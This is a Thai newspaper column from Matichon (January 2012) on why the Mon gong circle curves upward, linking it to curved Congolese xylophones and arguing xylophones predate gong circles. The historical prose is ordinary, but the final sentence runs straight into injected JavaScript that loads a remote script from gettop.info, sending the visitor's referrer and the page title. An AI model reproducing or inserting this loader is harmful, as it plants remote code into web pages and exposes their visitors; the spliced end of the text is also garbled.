มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 5 มกราคม 2555

 

          ฆ้อง เป็นเครื่องดนตรีทำด้วยโลหะ ใช้ไม้ตีปุ่มกลมโป่งตรงกลาง และมีฐานแผ่ออกไปโดยรอบ แล้วหักงุ้มออกไปเป็นขอบคนละด้านกับปุ่มที่โป่งออก

          ฆ้องวง คือฆ้องเป็นใบๆ มีหลายใบ ขนาดใหญ่ถึงเล็กวางเรียงกันให้ได้จำนวนเสียงสูงต่ำตามต้องการ บนโค้งหรือร้านฆ้องทำด้วยวัสดุต่างๆ เช่น หวาย, ไม้ มี 2 แบบ คือ โค้งขึ้นข้างบนแบบมอญ กับโค้งราบรอบตัวแบบเขมร-ลาว-ไทย

          “ฆ้องมอญ” หมายถึง ฆ้องวงมอญ เป็นฆ้องวงตั้งโค้งขึ้นทั้งสองข้างซ้าย-ขวา ไม่วางราบกับพื้นเป็นวงโค้งรอบตัวเหมือนฆ้องวงเขมร-ลาว-ไทย

          ทำไมฆ้องวงมอญโค้งขึ้นสองข้าง? เป็นปัญหาที่คนทั่วไปข้องใจสงสัยกันมาก ตั้งแต่นานมาแล้วจนถึงทุกวันนี้

 

ลายเส้นระนาดแอฟริกาพิมพ์ในหนังสือร้องรำทำเพลง

ระนาด (Xylophone) แบบโค้งจากคองโก (A. M. Jones. Africa and lndonesia : The Evidence of the Xylophone and Other Musical and Cultural Factors. Leiden : E.J. Brill, 1964)

 

          ต้นแบบฆ้องมอญโค้งขึ้นมีพยานเก่าสุดอยู่ที่ระนาดจากแอฟริกา ผมเคยได้ลายเส้นจากหนังสือฝรั่งมาลงประกอบในหนังสือร้องรำทำเพลง เมื่อพิมพ์ครั้งแรก (พ.ศ. 2532 หน้า 98)

          ล่าสุด คุณเจนจิรา เบญจพงศ์ (ผู้ทำวิจัยพัฒนาการดนตรีอุษาคเนย์ เพื่อจัดแสดงใน Music Museum ของวิทยาลัยดุริยางคศิลป์ ม. มหิดล) พบรูประนาดโค้งจากคองโก แอฟริกามายืนยันอีก ยิ่งเห็นรูปร่างใกล้ฆ้องมอญมากกว่าเก่า

          ทำให้น่าเชื่อยิ่งขึ้นไปอีกว่าต้นแบบฆ้องมอญโค้งขึ้น ควรได้จากระนาดโค้งขึ้นที่เหลือเค้าอยู่กับระนาดคองโกแอฟริกา

 

ฆ้องมอญหลายโค้งในวงปี่พาทย์มอญ ธ. เจริญ (ผู้ใหญ่บุญธรรม) บ้านเกาะ จ. สมุทรสาคร (ภาพจาก องค์ บรรจุน. “ปี่พาทย์มอญ สยามประเทศ” ใน จดหมายเหตุชาวไทยเชื้อสายมอญ บำเพ็ญกุศลถวายสมเด็จพระเจ้าพี่นางเธอ เจ้าฟ้ากัลยาณิวัฒนา กรมหลวงนราธิวาสราชนครินทร์ ตามลัทธิธรรมเนียมมอญ กรุงเทพฯ : ชมรมเยาวชนมอญกรุงเทพฯ 2551)

         

          ระนาด ยุคแรกทำจากกระบอกไม้ไผ่ ไม่น้อยกว่า 5,000 ปีมาแล้ว ส่วนฆ้องวง ทำด้วยโลหะราว 2,500 ปีมาแล้ว เลียนแบบระนาด

          ที่มีผู้กล่าวว่า “ฆ้องวงเกิดขึ้นก่อนระนาด เพราะมีภาพแกะสลักวงปี่พาทย์ แต่โบราณมีฆ้องวงแต่ไม่มีระนาด”

          เหตุมาจากฆ้องวงเป็นสมบัติของคนชั้นนำในราชสำนักเท่านั้น เพราะทำด้วยเทคโนโลยีขั้นสูง

          แต่ระนาดมีวิถีอยู่กับฝูงไพร่ในชุมชนหมู่บ้าน เพราะทำจากวัสดุธรรมชาติด้วยเทคโนโลยีต่ำๆ ล้าหลังที่ราชสำนักไม่ยกย่อง จึงไม่มีในภาพแกะสลักdocument.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;